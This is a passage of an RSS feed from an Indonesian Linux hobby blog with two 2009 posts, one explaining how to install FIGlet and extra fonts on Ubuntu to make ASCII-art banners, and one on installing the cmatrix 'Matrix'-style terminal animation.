		<category><![CDATA[figlet]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=95</guid>
		<description><![CDATA[Apakah anda pernah melihat footer email atau motd seperti ini :
         _ __ ___   __ _ ___ _ __ ___  _ __  _   _   ___ ___  _ __ ___
        &#124; '_ [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Apakah anda pernah melihat footer email atau motd seperti ini :</p>
<pre style="text-align: justify;">         _ __ ___   __ _ ___ _ __ ___  _ __  _   _   ___ ___  _ __ ___
        | '_ ` _ \ / _` / __| '__/ _ \| '_ \| | | | / __/ _ \| '_ ` _ \
        | | | | | | (_| \__ \ | | (_) | | | | |_| || (_| (_) | | | | | |
        |_| |_| |_|\__,_|___/_|  \___/|_| |_|\__, (_)___\___/|_| |_| |_|
                                              __/ |
                                             |___/</pre>
<p>Atau seperti ini :</p>
<pre style="text-align: justify;"> ______________________________________________________________________________________
 oo_oo_oo___ooooo___oooo__oo_ooo___ooooo__oo_ooo___o___oo_____ooooo___ooooo__oo_oo_oo__
 ooo_oo__o_oo___oo_oo___o_ooo___o_oo___oo_ooo___o__o___oo____oo___oo_oo___oo_ooo_oo__o_
 oo__oo__o_oo___oo___oo___oo______oo___oo_oo____o__o___oo____oo______oo___oo_oo__oo__o_
 oo__oo__o_oo___oo_o___oo_oo______oo___oo_oo____o___ooooo_oo_oo______oo___oo_oo__oo__o_
 oo______o__oooo_o__oooo__oo_______ooooo__oo____o_o____oo_oo__ooooo___ooooo__oo______o_
 __________________________________________________ooooo_______________________________</pre>
<p>atau seperti ini :</p>
<pre style="text-align: justify;">       __  __    __    ___  ____  _____  _  _  _  _   ___  _____  __  __
      (  \/  )  /__\  / __)(  _ \(  _  )( \( )( \/ ) / __)(  _  )(  \/  )
       )    (  /(__)\ \__ \ )   / )(_)(  )  (  \  / ( (__  )(_)(  )    (
      (_/\/\_)(__)(__)(___/(_)\_)(_____)(_)\_) (__)()\___)(_____)(_/\/\_)</pre>
<p style="text-align: justify;"><span id="more-95"></span>Saya sendiri sering sekali melihat banner seperti itu. Dalam hati saya, kok ada yah orang yang begitu telaten merangkai huruf-huruf menjadi banner seperti itu. Sangat kreatif.. Ternyata rangkaian huruf-huruf tersebut dinamakan FIGcharacters, dan dibuat menggunakan aplikasi yang dinamakan <a title="FIGlet" href="http://www.figlet.org" target="_blank"><strong>FIGlet</strong></a>.. hehehe.. katro&#8217; yah.. baru tahu sekarang&#8230; Kalau tertarik untuk mencoba, bisa download di <a href="ftp://ftp.figlet.org/pub/figlet/" target="_blank">ftp://ftp.figlet.org/pub/figlet/</a>. Dukungan terhadap operating systemnya juga cukup lengkap.</p>
<p>Karena saya make ubuntu cukup minta ke repository dengan menuliskan di console seperti ini :</p>
<p><span style="color: #0000ff;"><span style="color: #333333;">sinchan@cluster1:~$</span> sudo apt-get install figlet</span></p>
<p>Tambahkan font-font yang mendukung FIGlet dengan cara :</p>
<p><span style="color: #0000ff;"><span style="color: #333333;">sinchan@cluster1:~$ </span>wget -c &#8216;http://www.jave.de/figlet/figletfonts40.zip&#8217; -O fonts.zip</span></p>
<p>Kemudian ekstrak file fonts.zip tersebut :</p>
<p><span style="color: #0000ff;"><span style="color: #333333;">sinchan@cluster1:~$ </span>unzip fonts.zip</span></p>
<p>Pindahkan semua files di folder fonts ke folder /usr/share/figlet :</p>
<p><span style="color: #0000ff;"><span style="color: #333333;">sinchan@cluster1:~$</span> sudo cp fonts/* /usr/share/figlet/</span></p>
<p>Selesai dan mari kita test figlet kita dengan font-font tersebut</p>
<p><span style="color: #0000ff;"><span style="color: #333333;">sinchan@cluster1:~$ </span>figlet mas rony -ctf roman</span></p>
<pre>ooo. .oo.  .oo.    .oooo.    .oooo.o    oooo d8b  .ooooo.  ooo. .oo.   oooo    ooo
`888P"Y88bP"Y88b  `P  )88b  d88(  "8    `888""8P d88' `88b `888P"Y88b   `88.  .8'
 888   888   888   .oP"888  `"Y88b.      888     888   888  888   888    `88..8'
 888   888   888  d8(  888  o.  )88b     888     888   888  888   888     `888'
o888o o888o o888o `Y888""8o 8""888P'    d888b    `Y8bod8P' o888o o888o     .8'
                                                                       .o..P'
                                                                       `Y8P'</pre>
<p>Untuk parameter yang lain bisa dilihat di manual page. Selamat mencoba..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/03/figcharacters-menggunakan-figlet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Animasi Film Matrix</title>
		<link>http://www.masrony.com/2009/03/animasi-film-matrix/</link>
		<comments>http://www.masrony.com/2009/03/animasi-film-matrix/#comments</comments>
		<pubDate>Thu, 05 Mar 2009 14:09:37 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[cmatrix]]></category>
		<category><![CDATA[matrix]]></category>
		<category><![CDATA[movie]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=82</guid>
		<description><![CDATA[Anda pasti sudah pernah menonton film Matrix yang heboh beberapa tahun yang lalu itu kan? Pasti jawabannya sudah. Misalkan belum nonton pasti jawabannya tetep sama : sudah.. soalnya biar ga dibilang katrok hahaha&#8230; Apakah anda ingat pas ada adegan yang ada animasi di super komputer yang berwarna hijau? Gambarnya kalo ga salah seperti ini :

Nah [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Anda pasti sudah pernah menonton film Matrix yang heboh beberapa tahun yang lalu itu kan? Pasti jawabannya sudah. Misalkan belum nonton pasti jawabannya tetep sama : sudah.. soalnya biar ga dibilang katrok hahaha&#8230; Apakah anda ingat pas ada adegan yang ada animasi di super komputer yang berwarna hijau? Gambarnya kalo ga salah seperti ini :</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.asty.org/cmatrix/data/screen1.gif" alt="Matrix Reloaded" width="339" height="165" /></p>
<p style="text-align: justify;">Nah bagi anda yang sering bekerja di lingkungan shell atau console, animasi ini mungkin bisa sedikit menghibur dan memberi warna lain di layar hitam anda. Animasi ini bernama <strong>cmatrix </strong>dan ditulis oleh <a href="http://www.asty.org">Chris Allegretta</a> (kalo ga salah udah jadul bgt&#8230; dulu tahun &#8216;99) dan bagi yang tertarik untuk mencoba, bisa mengunduh source tarbal-nya  <a href="http://www.asty.org/cmatrix/dist/cmatrix-1.2a.tar.gz">disini</a>. Dan bagi pengguna ubuntu (seperti saya xD) malah lebih lebih mudah intalasinya karena tidak perlu mengunduh tarbalnya, tapi tinggal buka terminal dan ketik :<br />
<span style="color: #993366;">sinchan@cluster1:~$ <strong>sudo apt-get install cmatrix</strong></span><br />
Nah animasi sudah siap digunakan dan selamat bernostalgia dengan &#8216;Matrix Reloaded&#8217;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/03/animasi-film-matrix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
